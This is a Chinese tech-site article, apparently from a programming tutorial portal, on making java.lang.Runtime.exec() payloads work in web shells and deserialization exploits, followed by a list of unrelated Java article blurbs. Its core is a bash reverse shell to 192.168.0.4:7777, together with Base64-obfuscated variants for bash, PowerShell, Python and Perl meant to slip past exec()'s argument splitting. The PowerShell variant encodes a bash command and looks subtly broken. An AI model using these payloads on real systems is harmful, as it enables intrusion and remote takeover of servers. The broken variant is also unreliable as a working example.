java.lang.Runtime.exec() Payload知識(shí)點(diǎn)詳解
有時(shí)，通過Runtime.getRuntime().exec()執(zhí)行命令的有效負(fù)載有時(shí)會(huì)失敗。使用Web Shell，反序列化利用或通過其他媒介時(shí)，可能會(huì)發(fā)生這種情況。
有時(shí)這是因?yàn)橹囟ㄏ蚝凸艿雷址氖褂迷趩?dòng)過程的上下文中沒有意義。例如，在shell中執(zhí)行l(wèi)s> dir_listing會(huì)將當(dāng)前目錄的列表輸出到名為dir_listing的文件中。但是在exec()函數(shù)的上下文中，該命令將被解釋為獲取>和dir_listing目錄的列表。
有時(shí)，StringTokenizer類會(huì)破壞其中包含空格的參數(shù)，該類將命令字符串按空格分隔。像ls“我的目錄”之類的東西將被解釋為ls“我的目錄”。
借助Base64編碼，下面的轉(zhuǎn)換器可以幫助減少這些問題。它可以通過調(diào)用Bash或PowerShell來制作管道并重新定向，還可以確保參數(shù)內(nèi)沒有空格。
樣例：
原文
bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
編碼后：
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
#bash
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YgBhAHMAaAAgAC0AaQAgAD4AJgAgAC8AZABlAHYALwB0AGMAcAAvADEAOQAyAC4AMQA2ADgALgAwAC4ANAAvADcANwA3ADcAIAAwAD4AJgAxAA==
#powershell
python -c exec('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='.decode('base64'))
#python
perl -MMIME::Base64 -e eval(decode_base64('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='))
#perl
中間的字符均為“base64”編碼。
知識(shí)點(diǎn)擴(kuò)展：
java.lang.Runtime.getRuntime().exec(cmd)命令中參數(shù)不能用空格怎么辦？
項(xiàng)目中無法執(zhí)行c程序，猜測(cè)是exec()函數(shù)的問題
String cmd= exe_path + " " +video + " " +host + ":" + port;
Process process = runtime.exec(cmd);
到此這篇關(guān)于java.lang.Runtime.exec() Payload知識(shí)點(diǎn)詳解的文章就介紹到這了,更多相關(guān)java.lang.Runtime.exec() Payload內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
這篇文章主要給大家介紹了關(guān)于如何利用Jackson序列化忽略指定類型的屬性，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-11-11
java實(shí)現(xiàn)一個(gè)掃描包的工具類實(shí)例代碼
很多框架，比如springmvc，mybatis等使用注解，為了處理注解，必然要對(duì)包進(jìn)行掃描，所以下面這篇文章主要給大家分享介紹了關(guān)于利用java如何實(shí)現(xiàn)一個(gè)掃描包的工具類，文中通過示例代碼介紹的非常詳細(xì)，需要的朋友可以參考下。2017-10-10
如何使用 IntelliJ IDEA 編寫 Spark 應(yīng)用程序(Sc
本教程展示了如何在IntelliJIDEA中使用Maven編寫和運(yùn)行一個(gè)簡(jiǎn)單的Spark應(yīng)用程序（例如WordCount程序）,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),感興趣的朋友跟隨小編一起看看吧2024-11-11
這篇文章主要介紹了2020 IDEA安裝教程與激活(idea2020激活碼),本文通過圖文并茂的形式給大家介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值，需要的朋友可以參考下2020-11-11
下載一些pdf格式的電子書沒有書簽,用JAVA寫了一個(gè)小工具，將特定格式的文本解析成為書簽，然后保存到pdf格式中2014-02-02
使用@Autowired 注入RedisTemplate報(bào)錯(cuò)的問題及解決
這篇文章主要介紹了使用@Autowired 注入RedisTemplate報(bào)錯(cuò)的問題及解決方案，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方，望不吝賜教2022-08-08
Java中雙冒號(hào)(::)運(yùn)算操作符用法詳解
這篇文章主要給大家介紹了關(guān)于Java中雙冒號(hào)(::)運(yùn)算操作符用法的相關(guān)資料,雙冒號(hào)運(yùn)算操作符是類方法的句柄,lambda表達(dá)式的一種簡(jiǎn)寫,這種簡(jiǎn)寫的學(xué)名叫eta-conversion或者叫η-conversion,需要的朋友可以參考下2023-11-11
SpringMVC 上傳文件 MultipartFile 轉(zhuǎn)為 File的方法
這篇文章主要介紹了SpringMVC 上傳文件 MultipartFile 轉(zhuǎn)為 File的方法，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-02-02
MybatisPlus使用排序查詢時(shí)將null值放到最后
按照更新時(shí)間排序,但是更新時(shí)間可能為null,因此將null的數(shù)據(jù)放到最后,本文主要介紹了MybatisPlus使用排序查詢時(shí)將null值放到最后,具有一定的參考價(jià)值,感興趣的可以了解一下2023-08-08
Java中Final關(guān)鍵字的使用技巧及其性能優(yōu)勢(shì)詳解
這篇文章主要介紹了Java中Final關(guān)鍵字的使用技巧及其性能優(yōu)勢(shì)詳解,Java中的final關(guān)鍵字用于修飾變量、方法和類,可以讓它們?cè)诙x后不可更改,從而提高程序的穩(wěn)定性和可靠性,此外,final關(guān)鍵字還有一些使用技巧和性能優(yōu)勢(shì),需要的朋友可以參考下2023-10-10